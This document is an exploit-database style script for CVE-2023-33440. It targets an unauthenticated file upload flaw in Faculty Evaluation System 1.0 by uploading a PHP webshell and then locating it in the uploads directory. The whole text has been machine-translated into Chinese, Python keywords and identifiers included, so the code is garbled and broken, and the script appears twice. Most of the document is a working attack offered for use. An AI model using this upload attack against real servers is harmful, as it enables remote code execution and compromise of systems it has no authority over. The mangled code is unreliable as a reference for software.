#利用标题:教师评估系统1.0-未经身份验证的文件上传
#日期: 5/29/2023
#作者: Alex Gan
#供应商homepage3360 https://www.sourcecodester.com/php/...ystem-using-phpmysqli-source-source-code.html
#软件link: https://www.sourcecodester.com/sites/default/files/files/download/oretnom23/eval_2.zip
#版本: 1.0
#测试ON:灯Fedora Server 38(三十八个)Apache/2.4.57 10.5.5.19-Mariadb Php 8.2.6
#CVE: CVE-2023-33440
#参考: https://nvd.nist.gov/vuln/detail/cve-2023-33440
#https://www.exploit-db.com/exploits/49320
#https://github.com/f14me7wq/bug_report/tree/main/main/vendors/oretnom23/faculty-evaluation-system
#
#!/usr/bin/env Python3
导入操作系统
导入系统
导入请求
导入argparse
来自BS4进口美丽的小组
来自urllib.parse导入urlparse
从request.sceptions导入连接eRNERR,超时
def get_args():
Parser=argparse.argumentparser()
parser.add_argument(' - u',' - url',type=str,help='url')
parser.add_argument(' - p',' - payload',type=str,help='php webshell')
返回parser.parse_args()
def get_user_input(args):
如果不是(args.url):
args.url=输入('使用-u参数或输入url:')
如果不是(args.payload):
args.payload=input('使用-P参数或输入文件路径PHP Webshell:')
返回args.url,args.payload
def check_input_url(url):
parsed_url=urlparse(url)
如果不是parsed_url.scheme:
url='http://' + url
如果parsed_url.path.endswith('/'):
url=url.rstrip('/')
返回URL
def check_host_availability(url):
TRY:
响应=requests.head(url=url +'/login.php')
if antsphy.status_code==200:
打印('[+]主机可访问')
其他:
打印('[ - ]主机无法访问')
打印('状态代码:',response.status_code)
sys.exit()
除了(连接器,超时)为E:
打印('[ - ]主机无法访问')
sys.exit()
除了requests.exceptions.requestexception为e:
打印('[ - ] error:',e)
sys.exit()
def make_request(url,方法,files=none):
如果方法=='get':
响应=requests.get(url)
elif方法=='post':
响应=requests.post(url,files=文件)
其他:
提高价值Error(f'invalid http method: {method}')
if antsphy.status_code==200:
打印('[+]请求成功')
返回响应
其他:
print(f'[ - ]错误{wendesp.status_code} : {response.text}')
没有返回
def find_file(response_get,filename,find_url):
汤=beautifutsoup(响应_get,'html.parser')
links=soup.find_all('a')
und_files=[]
links:中的链接
file_upl=link.get('href')
如果file_upl.endswith(文件名):
und_files.append(file_upl)
如果fund_files:
打印('File ust:')
对于fund_files:中的文件
打印('[*]' +文件)
打印('File:'的完整URL)
对于fuld_files:中的file_url
打印('[*]' + find_url + file_url)
其他:
打印('[ - ]文件未找到')
def main():
args=get_args()
URL,有效载荷=get_user_input(args)
url=check_input_url(url)
check_host_availability(url)
post_url=url +'/ajax.php?action=save_user'
get_url=url +'/Assets/uploads/'
文件名=os.path.basename(有效载荷)
payload_file=[('img',(fileName,open(args.payload,'rb'),'application/ocket-stream')]]]]]]]]]]]
打印(“加载有效载荷文件”)
make_request(post_url,'post',files=payload_file)
打印(“列出上传目录”)
response_get=make_request(get_url,'get')
打印(“查找下载的有效载荷文件”)
find_file(wendesp_get,filename,get_url)
如果name=='__ -Main __':
主要的()
#日期: 5/29/2023
#作者: Alex Gan
#供应商homepage3360 https://www.sourcecodester.com/php/...ystem-using-phpmysqli-source-source-code.html
#软件link: https://www.sourcecodester.com/sites/default/files/files/download/oretnom23/eval_2.zip
#版本: 1.0
#测试ON:灯Fedora Server 38(三十八个)Apache/2.4.57 10.5.5.19-Mariadb Php 8.2.6
#CVE: CVE-2023-33440
#参考: https://nvd.nist.gov/vuln/detail/cve-2023-33440
#https://www.exploit-db.com/exploits/49320
#https://github.com/f14me7wq/bug_report/tree/main/main/vendors/oretnom23/faculty-evaluation-system
#
#!/usr/bin/env Python3
导入操作系统
导入系统
导入请求
导入argparse
来自BS4进口美丽的小组
来自urllib.parse导入urlparse
从request.sceptions导入连接eRNERR,超时
def get_args():
Parser=argparse.argumentparser()
parser.add_argument(' - u',' - url',type=str,help='url')
parser.add_argument(' - p',' - payload',type=str,help='php webshell')
返回parser.parse_args()
def get_user_input(args):
如果不是(args.url):
args.url=输入('使用-u参数或输入url:')
如果不是(args.payload):
args.payload=input('使用-P参数或输入文件路径PHP Webshell:')
返回args.url,args.payload
def check_input_url(url):
parsed_url=urlparse(url)
如果不是parsed_url.scheme:
url='http://' + url
如果parsed_url.path.endswith('/'):
url=url.rstrip('/')
返回URL
def check_host_availability(url):
TRY:
响应=requests.head(url=url +'/login.php')
if antsphy.status_code==200:
打印('[+]主机可访问')
其他:
打印('[ - ]主机无法访问')
打印('状态代码:',response.status_code)
sys.exit()
除了(连接器,超时)为E:
打印('[ - ]主机无法访问')
sys.exit()
除了requests.exceptions.requestexception为e:
打印('[ - ] error:',e)
sys.exit()
def make_request(url,方法,files=none):
如果方法=='get':
响应=requests.get(url)
elif方法=='post':
响应=requests.post(url,files=文件)
其他:
提高价值Error(f'invalid http method: {method}')
if antsphy.status_code==200:
打印('[+]请求成功')
返回响应
其他:
print(f'[ - ]错误{wendesp.status_code} : {response.text}')
没有返回
def find_file(response_get,filename,find_url):
汤=beautifutsoup(响应_get,'html.parser')
links=soup.find_all('a')
und_files=[]
links:中的链接
file_upl=link.get('href')
如果file_upl.endswith(文件名):
und_files.append(file_upl)
如果fund_files:
打印('File ust:')
对于fund_files:中的文件
打印('[*]' +文件)
打印('File:'的完整URL)
对于fuld_files:中的file_url
打印('[*]' + find_url + file_url)
其他:
打印('[ - ]文件未找到')
def main():
args=get_args()
URL,有效载荷=get_user_input(args)
url=check_input_url(url)
check_host_availability(url)
post_url=url +'/ajax.php?action=save_user'
get_url=url +'/Assets/uploads/'
文件名=os.path.basename(有效载荷)
payload_file=[('img',(fileName,open(args.payload,'rb'),'application/ocket-stream')]]]]]]]]]]]
打印(“加载有效载荷文件”)
make_request(post_url,'post',files=payload_file)
打印(“列出上传目录”)
response_get=make_request(get_url,'get')
打印(“查找下载的有效载荷文件”)
find_file(wendesp_get,filename,get_url)
如果name=='__ -Main __':
主要的()